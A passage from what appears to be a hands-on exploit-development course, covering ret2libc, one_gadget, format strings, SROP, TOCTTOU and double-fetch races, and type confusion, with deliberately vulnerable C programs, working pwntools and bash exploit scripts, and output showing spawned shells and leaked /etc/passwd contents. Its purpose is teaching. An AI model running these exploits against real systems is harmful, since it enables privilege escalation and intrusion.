p.interactive()
except EOFError:
log.error("Process died")
log.info(f"Exit code: {p.poll()}")
except Exception as e:
log.error(f"Error: {e}")
p.close()
Test Results:
...
[+] Starting local process './leak_target': pid 2893
[*] Leaked puts: 0x7d2ad6887be0
[+] libc base: 0x7d2ad6800000
[*] system: 0x7d2ad6858750
[*] /bin/sh: 0x7d2ad69cb42f
[*] Finding gadgets...
[+] pop rdi; ret: 0x40117e
[+] ret: 0x40101a
[*] Payload size: 104 bytes
[+] Exploit sent! Checking for shell...
[+] Shell spawned!
[*] Switching to interactive mode
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
ret2libc with Leak Success:
- Binary analysis: Partial RELRO, no PIE, no stack canary (vulnerable)
- Libc detection: Found system libc with Full RELRO and CET protections
- Leak successful:
puts@GOT: 0x7d2ad6887be0→ base0x7d2ad6800000 - Gadgets found:
pop rdi; ret @ 0x40117e,ret @ 0x40101a(from inline assembly) - Targets calculated:
system @ 0x7d2ad6858750,/bin/sh @ 0x7d2ad69cb42f - Shell achieved: Interactive shell with full user privileges
- Payload efficiency: 104 bytes total (72 offset + 32 ROP chain)
Key Technical Insights:
- CET compatibility: Despite SHSTK/IBT being enabled, ret2libc works because we use legitimate gadgets
- Automatic discovery: pwntools dynamically finds gadgets and calculates addresses
- Two-stage approach: Leak → Calculate → Exploit pattern works reliably
- Stack alignment: Added
retgadget for 16-byte alignment beforepop rdi - Modern mitigations: NX enabled prevents shellcode, but ROP bypasses this restriction
ret2dlresolve Requirements:
- Partial RELRO (lazy binding enabled)
- Ability to write to known address (for fake structures)
- Sufficient gadgets (pop rdi, pop rsi, pop rdx minimum)
- Compatible libc/dynamic linker version
Reality Check:
In practice, ret2libc with leak is used in 90%+ of real exploits because:
- More reliable across libc versions
- Simpler to implement and debug
- Works with modern mitigations
- Most vulnerabilities provide some leak (format string, heap, etc.)
ret2dlresolve is mainly useful for:
- CTF challenges that specifically block leaks
- Research and educational purposes
- Very constrained scenarios with no leak primitive
one_gadget - Quick Shell Gadgets
What is one_gadget?:
- Finds "magic gadgets" in libc that spawn shells with single jump
- Much faster than building full ROP chains
- Constraints must be satisfied (register/stack state)
Usage:
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Example output (actual gadgets vary by libc version):
# 0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL
#
# 0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL
#
# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp
#
# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
#
# These constraints can be VERY hard to satisfy from typical overflow contexts!
Practical Exercise
Exercise: The Challenge (fmt_challenge.c)**
The goal is to modify the secret_code variable to 0x1337 to unlock the shell.
This program runs in a loop, allowing you to test multiple format strings in one session.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
volatile int secret_code = 0;
void give_shell() {
printf("Access Granted! Spawning shell...\n");
system("/bin/sh");
}
void vuln_func() {
char buffer[256];
printf("Target variable is at %p. Current value: %d\n", &secret_code, secret_code);
while(secret_code != 0x1337) {
printf("\nEnter input (type 'quit' to exit): ");
memset(buffer, 0, sizeof(buffer));
int len = read(0, buffer, sizeof(buffer)-1);
if(strncmp(buffer, "quit", 4) == 0) break;
// Vulnerability: Format string
printf("You returned: ");
printf(buffer);
if (secret_code == 0x1337) {
give_shell();
break;
}
}
}
int main() {
// Disable buffering
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
vuln_func();
return 0;
}
Compile:
make disabled SOURCE=fmt_challenge.c BINARY=fmt_challenge
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security fmt_challenge.c -o fmt_challenge
Testing & Offset Finding
# Run the program
./fmt_challenge
# Test and find the offset
Exploitation (Python)
write the python exploit using pwn tools
Exercise: Bypassing libc with execve Syscall (SROP)
Why This Matters: On modern systems with CET (glibc 2.34+), system() via ROP crashes due to IBT/Shadow Stack checks on libc functions. This exercise shows how to bypass libc entirely using a direct execve syscall via SROP.
Vulnerable Program:
// srop_target.c - Compile: gcc -fno-stack-protector -no-pie -o srop_target srop_target.c
#include <stdio.h>
#include <unistd.h>
char binsh[] = "/bin/sh"; // String in .data for convenience
// Include gadgets to make the exercise standalone and reliable
__attribute__((noinline)) void gadgets() {
__asm__ volatile(
".global pop_rax_ret\n"
"pop_rax_ret:\n"
"pop %rax\n"
"ret\n"
".global syscall_ret\n"
"syscall_ret:\n"
"syscall\n"
"ret\n"
);
}
void vuln() {
char buf[64];
printf("Buffer at: %p\n", buf);
printf("Enter data: ");
read(0, buf, 512); // Obvious overflow - increased for SROP frame
}
int main() {
// Disable buffering for reliable I/O
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
Finding Required Gadgets:
# We need minimal gadgets for SROP:
# 1. pop rax; ret - to set RAX = 15 (sigreturn syscall number)
# 2. syscall; ret - to execute sigreturn, then execve
ropper --file srop_target --search "pop rax"
ropper --file srop_target --search "syscall"
# Since we included them in C, they will be found!
Complete SROP Exploit (No libc Required):
#!/usr/bin/env python3
"""
SROP Exploit
"""
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
binary = './srop_target'
elf = ELF(binary)
p = process(binary, aslr=False)
p.recvuntil(b"Buffer at: ")
buf_addr = int(p.recvline().strip(), 16)
log.info(f"Buffer at: {hex(buf_addr)}")
binsh_addr = next(elf.search(b'/bin/sh'))
pop_rax_ret = 0x40117e
syscall_ret = 0x401180 # CORRECT address
log.info(f"/bin/sh at: {hex(binsh_addr)}")
log.info(f"pop rax; ret: {hex(pop_rax_ret)}")
log.info(f"syscall; ret: {hex(syscall_ret)}")
# Build SROP frame
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
frame.rsp = buf_addr - 0x100
frame.rbp = frame.rsp
frame.eflags = 0x202
frame.csgsfs = 0x33
offset = 72
payload = b'A' * offset
payload += p64(pop_rax_ret)
payload += p64(15) # SYS_rt_sigreturn
payload += p64(syscall_ret)
payload += bytes(frame)
log.info(f"Payload size: {len(payload)} bytes")
p.sendlineafter(b"Enter data: ", payload)
sleep(0.5)
try:
p.sendline(b'echo SUCCESS')
result = p.recvline(timeout=2)
if b'SUCCESS' in result:
log.success("SROP WORKED! We have a shell!")
p.interactive()
else:
log.info(f"Got: {result}")
p.interactive()
except EOFError:
log.error("Process died")
log.info(f"Exit code: {p.poll()}")
except Exception as e:
log.error(f"Error: {e}")
p.close()
How It Works:
1. Overflow buffer, overwrite return address with pop_rax gadget
2. pop rax; ret → RAX = 15 (rt_sigreturn syscall number)
3. syscall; ret → Kernel executes sigreturn
4. Kernel reads our fake SigreturnFrame from stack
5. Kernel restores ALL registers from our frame:
- RAX = 59 (execve syscall number)
- RDI = address of "/bin/sh"
- RSI = 0, RDX = 0
- RIP = syscall gadget address
6. Execution resumes at RIP (syscall gadget) - bypassing libc!
Why This Bypasses CET (Partially):
CET (Control-flow Enforcement) has two components:
1. IBT (Indirect Branch Tracking) - Requires ENDBR64 landing pads
2. SHSTK (Shadow Stack) - Tracks return addresses
SROP behavior with CET:
+ sigreturn itself bypasses shadow stack (kernel operation)
+ execve syscall is direct kernel call, not libc
- Initial ROP chain to reach sigreturn still needs valid gadgets
Note: On systems without hardware shadow stack support (most current CPUs),
the binary may have SHSTK/IBT properties but kernel won't enforce them.
Check with: grep shstk /proc/cpuinfo
Troubleshooting:
| Problem | Cause | Solution |
|---|---|---|
| Crash before sigreturn | Wrong gadget addresses | Use objdump -d to verify gadget locations |
| Payload too large | Signal frame is 248 bytes | Ensure read() size ≥ 344 bytes (72+24+248) |
| SIGSEGV after sigreturn | Invalid RSP in frame | Set RSP to valid stack address (use buf_addr) |
| execve returns EFAULT | Bad /bin/sh address | Verify string address with readelf -x .data |
| No gadgets found | Binary too small | Add inline asm gadgets or use libc |
| Shell doesn't spawn | Wrong syscall number | AMD64 execve = 59, verify with SYS_execve |
| system() crashes (SIGSEGV) | Stack misalignment | Add ret gadget before call for 16-byte align |
| Process exits immediately | Shell has no stdin | Ensure stdin is connected to process |
| CET blocks ROP chain | Hardware shadow stack | Use ENDBR64 gadgets or disable CET for demo |
Exercise: vuln_fmt
Task 1: Information Disclosure
- Compile vuln_fmt.c
- Find format string offset
- Leak stack values
- Identify libc addresses on stack
- Calculate libc base (if ASLR enabled)
Task 2: Arbitrary Read
- Read memory at arbitrary address
- Leak binary strings
- Find interesting addresses (GOT entries)
- Document memory layout
Task 3: GOT Overwrite
- Compile fmt_got.c
- Find exit() GOT entry
- Find win() function address
- Overwrite GOT with format string
- Redirect exit() to win()
- Get shell
Success Criteria:
- Can read arbitrary memory
- Can write arbitrary values
- GOT overwrite successful
- Shell obtained via format string
Exercise: format string over network
Exploit a format string over a network:
#!/usr/bin/env python3
"""Format String over Network - Real-World Practice"""
from pwn import *
# Connect to vulnerable service
target = remote('localhost', 1337)
# Leak stack values
target.sendline(b'echo %p.%p.%p.%p.%p.%p.%p.%p')
leak = target.recvline()
log.info(f"Leaked: {leak}")
# Parse and calculate addresses
# Stack leak can reveal:
# - Return addresses (code base)
# - Libc addresses (libc base)
# - Stack addresses (stack cookie, if present)
# Build GOT overwrite payload
# (This would be specific to the target binary)
Key Takeaways
- Format strings are powerful: Read/write arbitrary memory
- %n is dangerous: Enables memory writes
- GOT is common target: Redirect execution flow - bypasses CET!
- pwntools simplifies exploitation: Automates offset finding
- Easy to prevent: Just use printf("%s", input)
- one_gadget works well with GOT overwrites: RBP usually valid, constraints easier
- SROP bypasses CET entirely: Direct syscalls don't use libc
Discussion Questions
- Why is %n particularly dangerous compared to other specifiers?
- How does Partial RELRO vs Full RELRO affect GOT overwrites?
- What makes format strings easier to exploit than buffer overflows?
- How can static analysis detect format string vulnerabilities?
Day 6: Logic Bugs and Modern Exploit Primitives
- Goal: Understand non-memory-corruption exploitation and modern primitives that bypass traditional mitigations.
- Activities:
- Reading:
- Online Resources:
- Exercise:
- Exploit a race condition vulnerability
- Trigger a type confusion bug
- Understand when logic bugs are more practical than memory corruption
Deliverables
- Race PoC: a script that wins the race at least once and demonstrates the impact (e.g., reads forbidden data)
- Type confusion PoC: input + steps that trigger the bug and show corrupted behavior or a privileged action
- Notes: explain the broken invariant and why mitigations (NX/ASLR/CET) don't stop it
Why Logic Bugs Matter
Why Logic Bugs Win:
- Mitigations don't apply: DEP, ASLR, CFG, CET protect memory—not logic
- Often simpler: No shellcode, no ROP chains, no heap feng shui
- Higher reliability: Deterministic vs probabilistic exploitation
- Stealthier: Less anomalous behavior for detection
Race Condition Exploitation
TOCTTOU (Time-of-Check to Time-of-Use):
// Vulnerable pattern: Check and use are separate operations
// race_vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
void process_file(const char *filename) {
struct stat st;
// TIME OF CHECK
if (lstat(filename, &st) != 0) { // Use lstat to check symlink itself
printf("File does not exist\n");
return;
}
// Check if regular file (not symlink)
if (S_ISLNK(st.st_mode)) {
printf("Symlinks not allowed\n");
return;
}
// Check ownership
if (st.st_uid != getuid()) {
printf("You don't own this file\n");
return;
}
// WINDOW OF VULNERABILITY: Attacker can swap file here!
sleep(1); // Makes race easier to win for demonstration
// TIME OF USE - opens with elevated privileges
setuid(0); // Elevate to root privileges
int fd = open(filename, O_RDONLY); // Opens whatever is there NOW
if (fd < 0) {
perror("open");
return;
}
char buffer[1024];
ssize_t n = read(fd, buffer, sizeof(buffer) - 1);
if (n > 0) {
buffer[n] = '\0';
printf("Contents: %s\n", buffer);
}
close(fd);
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("Usage: %s <filename>\n", argv[0]);
return 1;
}
process_file(argv[1]);
return 0;
}
Exploitation:
# Compile vulnerable program
cd ~/exploit
gcc -fno-stack-protector -no-pie -o race_vuln race_vuln.c
sudo chown root:root race_vuln
sudo chmod u+s race_vuln # SetUID for demonstration
# Setup: Create files for the race
echo "harmless content" > /tmp/myfile
sudo sh -c 'echo "SECRET: root password hash" > /tmp/secret'
sudo chown root:root /tmp/secret
sudo chmod 600 /tmp/secret # Only root can read
# Create race attack script
cat > race_attack_full.sh << 'EOF'
#!/bin/bash
TARGET="/tmp/racefile"
PAYLOAD="/tmp/secret" # Root-owned file we want to read
# Setup: Create our legitimate file
echo "harmless content" > /tmp/myfile
rm -f $TARGET
# Background: Continuously swap between our file and root-owned symlink
# Note: Symlinks must be created with sudo due to protected_symlinks in /tmp
(while true; do
sudo rm -f $TARGET 2>/dev/null
cp /tmp/myfile $TARGET 2>/dev/null
sudo rm -f $TARGET 2>/dev/null
sudo ln -s $PAYLOAD $TARGET 2>/dev/null
done) &
SWAP_PID=$!
# Give swap loop time to start
sleep 0.2
# Foreground: Repeatedly trigger vulnerable program
for i in {1..50}; do
./race_vuln $TARGET 2>/dev/null
done | grep "SECRET"
# Cleanup
sudo kill $SWAP_PID 2>/dev/null
wait $SWAP_PID 2>/dev/null
sudo rm -f $TARGET
EOF
chmod +x race_attack_full.sh
# Run the full attack
./race_attack_full.sh
# Expected output (when race is won):
# Contents: SECRET: root password hash
# Note: On systems with /proc/sys/fs/protected_symlinks=1 (default on modern Linux),
# symlinks in sticky directories like /tmp must be owned by root to be followed
# by setuid programs. This is a security feature to prevent symlink attacks.
Test Results:
(.venv) dev@os:~/exploit$ ./race_attack_full.sh
Contents: SECRET: root password hash
Contents: SECRET: root password hash
Contents: SECRET: root password hash
TOCTTOU Race Success:
- Setup complete: SetUID binary created with root ownership and permissions
- Attack automation: Background script continuously swaps files between safe and malicious
- Race won multiple times: Successfully read root-owned secret file 3 times
- Privilege escalation: Bypassed file ownership and permission checks
- Protected symlinks: Required sudo for symlink creation due to modern Linux protections
Why This Works:
- Time window:
sleep(1)in vulnerable code creates race opportunity - File swap: Rapid switching between legitimate file and malicious symlink
- Check vs use: Security checks performed on safe file, but opens malicious one
- Privilege escalation: SetUID binary runs with root privileges during file open
- Modern mitigations: Protected symlinks require root ownership, but race still works
User-Space Double-Fetch Simulation:
// double_fetch_demo.c
// Compilable double-fetch vulnerability demonstration
// Compile: gcc -pthread -o double_fetch_demo double_fetch_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>
#include <stdatomic.h>
#define MAX_SAFE_SIZE 64
#define BUFFER_SIZE 128
// Shared structure (simulating user-space memory that can be modified)
typedef struct {
volatile size_t length;
char data[256];
} SharedRequest;
SharedRequest shared_req;
atomic_int race_won = 0;
atomic_int attempts = 0;
// Vulnerable function with double-fetch
void vulnerable_process(SharedRequest *req) {
// FIRST FETCH: Read and validate length
size_t len = req->length; // First read
if (len > MAX_SAFE_SIZE) {
// Security check passes because len is small
return;
}
// Allocate based on checked length
char *safe_buffer = malloc(len + 1);
if (!safe_buffer) return;
// VULNERABILITY: Small delay simulating real processing
// In real code, this might be context switches, I/O, etc.
for (volatile int i = 0; i < 100; i++); // Tiny delay
// SECOND FETCH: Use length again (may have changed!)
size_t actual_len = req->length; // Second read - DOUBLE FETCH!
// Check if race was won BEFORE doing the overflow
if (actual_len > MAX_SAFE_SIZE) {
printf("[!] RACE WON! Allocated %zu bytes but would copy %zu bytes!\n",
len, actual_len);
printf("[!] Buffer overflow vulnerability demonstrated!\n");
atomic_store(&race_won, 1);
free(safe_buffer);
return;
}
// Copy using potentially modified length
if (actual_len <= 256) {
memcpy(safe_buffer, req->data, actual_len); // OVERFLOW if length increased!
}
free(safe_buffer);
}
// Attacker thread: continuously flips the length value
void *attacker_thread(void *arg) {
while (!atomic_load(&race_won) && atomic_load(&attempts) < 100000) {
// Flip between safe and dangerous values
shared_req.length = 32; // Safe value (passes check)
for (volatile int i = 0; i < 10; i++);
shared_req.length = 200; // Dangerous value (causes overflow)
for (volatile int i = 0; i < 10; i++);
}
return NULL;
}
// Victim thread: calls vulnerable function
void *victim_thread(void *arg) {
while (!atomic_load(&race_won) && atomic_load(&attempts) < 100000) {
shared_req.length = 32; // Reset to safe
vulnerable_process(&shared_req);
atomic_fetch_add(&attempts, 1);
}
return NULL;
}
int main() {
printf("=== Double-Fetch Race Condition Demo ===\n");
printf("Attempting to win race between check and use...\n\n");
// Initialize shared data
memset(shared_req.data, 'A', sizeof(shared_req.data));
shared_req.length = 32;
pthread_t attacker, victim;
// Start racing threads
pthread_create(&attacker, NULL, attacker_thread, NULL);
pthread_create(&victim, NULL, victim_thread, NULL);
// Wait for completion
pthread_join(victim, NULL);
pthread_join(attacker, NULL);
printf("\nTotal attempts: %d\n", atomic_load(&attempts));
if (atomic_load(&race_won)) {
printf("[+] SUCCESS: Double-fetch vulnerability exploited!\n");
printf("[*] The vulnerability: length was checked as %d bytes, but would have\n", MAX_SAFE_SIZE);
printf(" copied more, causing heap overflow.\n");
printf("[*] In real exploits: this could overwrite heap metadata,\n");
printf(" adjacent objects, or function pointers for code execution.\n");
} else {
printf("[-] Race not won in %d attempts (try again or increase attempts)\n",
atomic_load(&attempts));
}
return 0;
}
Compile and Run:
# Compile with pthread support
gcc -pthread -o double_fetch_demo double_fetch_demo.c
# Run (may need multiple attempts)
./double_fetch_demo
Test Results:
=== Double-Fetch Race Condition Demo ===
Attempting to win race between check and use...
[!] RACE WON! Allocated 32 bytes but would copy 200 bytes!
[!] Buffer overflow vulnerability demonstrated!
Total attempts: 863
[+] SUCCESS: Double-fetch vulnerability exploited!
[*] The vulnerability: length was checked as 64 bytes, but would have
copied more, causing heap overflow.
[*] In real exploits: this could overwrite heap metadata,
adjacent objects, or function pointers for code execution.
Double-Fetch Race Success:
- Race efficiency: Won race in 863 attempts (relatively quick for multi-threaded race)
- Vulnerability demonstrated: Length checked as 32 bytes, would copy 200 bytes
- Heap overflow potential: 168-byte overflow could corrupt heap metadata
- Threading model: Attacker thread flips between safe/dangerous values, victim thread processes
- Real-world impact: Could lead to arbitrary code execution via heap corruption
Why This Works:
- Two separate reads: Length read twice with different values due to race
- Timing window: Small delay between check and use allows race condition
- Memory allocation: Based on safe length (32 bytes) but copy uses dangerous length (200)
- Heap corruption: Overflow could overwrite adjacent heap chunks or metadata
- Multi-threading: Concurrent access to shared memory creates race condition
Complete TOCTTOU Practical Exercise:
Here's a self-contained TOCTTOU lab with attack automation:
// tocttou_lab.c - Complete TOCTTOU demonstration
// Simulates a privileged file processor with TOCTTOU vulnerability
// Compile: gcc -o tocttou_lab tocttou_lab.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <linux/limits.h>
#define ALLOWED_DIR "/tmp/tocttou_safe/"
#define MAX_FILE_SIZE 1024
int secure_read_file(const char *filepath) {
struct stat st;
char resolved_path[PATH_MAX];
printf("[*] Processing request for: %s\n", filepath);
// === TIME OF CHECK ===
// 1. Resolve to absolute path
if (realpath(filepath, resolved_path) == NULL) {
printf("[-] Cannot resolve path: %s\n", strerror(errno));
return -1;
}
printf("[*] Resolved to: %s\n", resolved_path);
// 2. Security check: must be in allowed directory
if (strncmp(resolved_path, ALLOWED_DIR, strlen(ALLOWED_DIR)) != 0) {
printf("[-] SECURITY: Path outside allowed directory!\n");
return -1;
}
printf("[+] Path check passed (in allowed directory)\n");
// 3. Check file properties
if (lstat(filepath, &st) != 0) {
printf("[-] Cannot stat file: %s\n", strerror(errno));
return -1;
}
// 4. Must be regular file (not symlink)
if (S_ISLNK(st.st_mode)) {
printf("[-] SECURITY: Symlinks not allowed!\n");
return -1;
}
printf("[+] File type check passed (regular file)\n");
// 5. Size check
if (st.st_size > MAX_FILE_SIZE) {
printf("[-] File too large\n");
return -1;
}
printf("[+] Size check passed (%ld bytes)\n", st.st_size);
// === VULNERABILITY WINDOW ===
printf("[*] Processing... (vulnerable window)\n");
usleep(100000); // 100ms delay
// === TIME OF USE ===
int fd = open(filepath, O_RDONLY);
if (fd < 0) {
printf("[-] Cannot open file: %s\n", strerror(errno));
return -1;
}
char buffer[MAX_FILE_SIZE + 1];
ssize_t bytes_read = read(fd, buffer, MAX_FILE_SIZE);
close(fd);
if (bytes_read > 0) {
buffer[bytes_read] = '\0';
printf("\n=== FILE CONTENTS ===\n%s\n=== END ===\n\n", buffer);
return 0;
}
return -1;
}
void setup_lab() {
mkdir(ALLOWED_DIR, 0755);
char safe_file[256];
snprintf(safe_file, sizeof(safe_file), "%s/safe_file.txt", ALLOWED_DIR);
FILE *f = fopen(safe_file, "w");
if (f) {
fprintf(f, "This is safe, authorized content.\n");
fclose(f);
printf("[+] Created safe file: %s\n", safe_file);
}
}
void print_usage(const char *prog) {
printf("TOCTTOU Vulnerability Lab\n");
printf("=========================\n\n");
printf("Usage: %s <filepath>\n\n", prog);
printf("This simulates a privileged file reader with TOCTTOU vulnerability.\n\n");
printf("To exploit:\n");
printf("1. Create a regular file: echo 'safe' > %s/attack\n", ALLOWED_DIR);
printf("2. Run: %s %s/attack &\n", prog, ALLOWED_DIR);
printf("3. Quickly swap: rm %s/attack && ln -s /etc/passwd %s/attack\n\n", ALLOWED_DIR, ALLOWED_DIR);
printf("The race: swap the file between check and use!\n");
}
int main(int argc, char **argv) {
if (argc < 2) {
print_usage(argv[0]);
setup_lab();
return 1;
}
return secure_read_file(argv[1]);
}
TOCTTOU Exploitation Script:
#!/bin/bash
# tocttou_exploit.sh - Automated TOCTTOU race exploitation
TARGET_DIR="/tmp/tocttou_safe"
ATTACK_FILE="$TARGET_DIR/attack"
PAYLOAD="/etc/passwd"
BINARY="./tocttou_lab"
echo "=== TOCTTOU Race Condition Exploit ==="
echo "Target: $PAYLOAD"
echo ""
# Setup
mkdir -p $TARGET_DIR
echo "harmless content" > "$TARGET_DIR/legit.txt"
# Statistics
ATTEMPTS=0
SUCCESS=0
# Race function
race_attack() {
while true; do
# Create legitimate file (passes all checks)
echo "safe" > "$ATTACK_FILE" 2>/dev/null
# Launch victim in background
$BINARY "$ATTACK_FILE" > /tmp/tocttou_output.txt 2>&1 &
VICTIM_PID=$!
# Small delay to let checks start
sleep 0.05
# Swap to symlink during the usleep(100000) window
rm -f "$ATTACK_FILE" 2>/dev/null
ln -s "$PAYLOAD" "$ATTACK_FILE" 2>/dev/null
# Wait for victim
wait $VICTIM_PID 2>/dev/null
# Check if we won the race
if grep -q "root:" /tmp/tocttou_output.txt 2>/dev/null; then
echo ""
echo "[!] RACE WON after $ATTEMPTS attempts!"
echo ""
cat /tmp/tocttou_output.txt
SUCCESS=1
break
fi
ATTEMPTS=$((ATTEMPTS + 1))
# Progress indicator
if [ $((ATTEMPTS % 10)) -eq 0 ]; then
echo -n "."
fi
# Limit attempts
if [ $ATTEMPTS -ge 100 ]; then
echo ""
echo "[-] Race not won after $ATTEMPTS attempts"
echo " The 100ms window should be easy to hit. Check timing."
break
fi
done
}
# Cleanup
cleanup() {
rm -f "$ATTACK_FILE" /tmp/tocttou_output.txt
}
trap cleanup EXIT
# Run exploit
echo "Racing... (this may take a moment)"
race_attack
if [ $SUCCESS -eq 1 ]; then
echo "[+] Successfully exploited TOCTTOU vulnerability!"
echo "[*] Key insight: Checks passed for 'safe' file, but we read '$PAYLOAD'"
fi
Running the TOCTTOU Lab:
# 1. Compile the vulnerable program
gcc -o tocttou_lab tocttou_lab.c
# 2. Setup (creates /tmp/tocttou_safe directory)
./tocttou_lab
# 3. Test legitimate access
./tocttou_lab /tmp/tocttou_safe/safe_file.txt
# Should show "This is safe, authorized content."
# 4. Run the exploit
chmod +x tocttou_exploit.sh
./tocttou_exploit.sh
# If race won, displays /etc/passwd contents despite security checks!
Test Results:
=== TOCTTOU Race Condition Exploit ===
Target: /etc/passwd
Racing... (this may take a moment)
[!] RACE WON after 0 attempts!
[*] Processing request for: /tmp/tocttou_safe/attack
[*] Resolved to: /tmp/tocttou_safe/attack
[+] Path check passed (in allowed directory)
[+] File type check passed (regular file)
[+] Size check passed (5 bytes)
[*] Processing... (vulnerable window)
=== FILE CONTENTS ===
root:x:0:0:root:/root:/bin/bash
...
dhcpcd:x:100:65534:DHCP Client Daemo
=== END ===
[+] Successfully exploited TOCTTOU vulnerability!
[*] Key insight: Checks passed for 'safe' file, but we read '/etc/passwd'
TOCTTOU Lab Success:
- Instant race win: Won on first attempt (0 attempts) due to effective race timing
- Security bypass: All checks passed for safe file, but read
/etc/passwdinstead - Privilege escalation: Successfully read system file despite security restrictions
- Path validation: Initial checks passed for
/tmp/tocttou_safe/attack(safe location) - File swap: Race condition swapped safe file with symlink to
/etc/passwd
Why This Works:
- Path validation: Checks performed on safe file in allowed directory
- File swap: Race condition replaces safe file with malicious symlink
- Open operation: Opens whatever file exists at path during actual read
- Security bypass: All validation passes, but reads different file entirely
- System access: Gains read access to sensitive system files
Type Confusion Exploitation
What is Type Confusion?:
Type confusion occurs when code treats an object as a different type than it actually is. Unlike memory corruption, the memory itself is valid—the interpretation is wrong.
// Type confusion basic example
// type_confusion.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Base "class"
typedef struct {
int type;
void (*handler)(void*);
} BaseObject;
// Derived "classes"
typedef struct {
int type; // type = 1
void (*handler)(void*);
char name[32];
} UserObject;
typedef struct {
int type; // type = 2
void (*handler)(void*);
void (*privileged_action)(void); // At same offset as name[0..7]!
int admin_level;
} AdminObject;
void user_handler(void *self) {
UserObject *obj = (UserObject*)self;
printf("Hello, %s!\n", obj->name);
}
void admin_handler(void *self) {
AdminObject *obj = (AdminObject*)self;
printf("Admin action executing...\n");
if (obj->privileged_action) {
printf("Calling privileged function at %p\n", obj->privileged_action);
obj->privileged_action(); // Call function pointer
} else {
printf("No privileged action set\n");
}
}
void win(void) {
printf("\n[!] PWNED! Got code execution via type confusion!\n");
printf("[*] This demonstrates how type confusion can lead to arbitrary code execution\n");
// system("/bin/sh"); // Uncomment for shell
}
BaseObject* create_object(int type) {
if (type == 1) {
UserObject *obj = calloc(1, sizeof(UserObject));
obj->type = 1;
obj->handler = user_handler;
printf("Enter username: ");
fgets(obj->name, sizeof(obj->name), stdin);
obj->name[strcspn(obj->name, "\n")] = 0;
return (BaseObject*)obj;
} else {
// Admin creation (normally restricted)
AdminObject *obj = calloc(1, sizeof(AdminObject));
obj->type = 2;
obj->handler = admin_handler;
obj->privileged_action = NULL;
obj->admin_level = 0;
return (BaseObject*)obj;
}
}
void process_object(BaseObject *obj) {
// VULNERABILITY: Type field can be manipulated!
// If attacker creates UserObject but sets type=2,
// the handler will treat name[] as privileged_action pointer
if (obj->type == 2) {
// Treats object as AdminObject
admin_handler(obj);
} else {
user_handler(obj);
}
}
int main() {
printf("=== Type Confusion Demo ===\n");
printf("Address of win(): %p\n\n", (void*)win);
// Create user object
BaseObject *obj = create_object(1);
printf("\n[*] Object layout:\n");
printf(" type: %d\n", obj->type);
printf(" handler: %p\n", (void*)obj->handler);
printf(" name/privileged_action: %p\n",
(void*)*(unsigned long*)((char*)obj + sizeof(int) + sizeof(void*)));
// EXPLOIT: Corrupt the type field
printf("\n[*] Corrupting type field from 1 to 2...\n");
obj->type = 2; // Now treated as AdminObject!
// The "name" field is now interpreted as "privileged_action" pointer
// If name contains address of win(), we get code execution!
printf("[*] Processing object with corrupted type...\n\n");
process_object(obj);
free(obj);
return 0;
}
Exploitation:
# Compile without PIE for simpler exploitation
gcc -no-pie -fno-stack-protector -o type_confusion type_confusion.c
#!/usr/bin/env python3
# type_confusion_exploit.py
from pwn import *
context.arch = 'amd64'
elf = ELF('./type_confusion')
win_addr = elf.symbols['win']
log.info(f"win() at: {hex(win_addr)}")
p = process('./type_confusion')
# Read initial output
p.recv(timeout=0.5)
# Send the win address as username
payload = p64(win_addr)
p.sendline(payload)
# Get all remaining output
output = p.recvall(timeout=1)
print(output.decode())
p.close()
Expected Output:
[*] '/home/dev/exploit/type_confusion'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] win() at: 0x401281
[+] Starting local process './type_confusion': pid 1281539
[+] Receiving all data: Done (398B)
[*] Process './type_confusion' stopped with exit code 0 (pid 1281539)
Enter username:
[*] Object layout:
type: 1
handler: 0x4011d6
name/privileged_action: 0x40128100000000
[*] Corrupting type field from 1 to 2...
[*] Processing object with corrupted type...
Admin action executing...
Calling privileged function at 0x401281
[!] PWNED! Got code execution via type confusion!
[*] This demonstrates how type confusion can lead to arbitrary code execution
C++ Virtual Function Exploitation (Vtable Smashing)
In C++, dynamic polymorphism is implemented using Virtual Method Tables (vtables). This is the most common target in modern browser and game exploitation.
Memory Layout:
An object with virtual functions contains a hidden pointer (vptr) at the very beginning (offset 0) pointing to a table of function pointers (vtable).
Object in Heap: Fake Object (Attacker):
┌────────────────────┐ ┌────────────────────┐
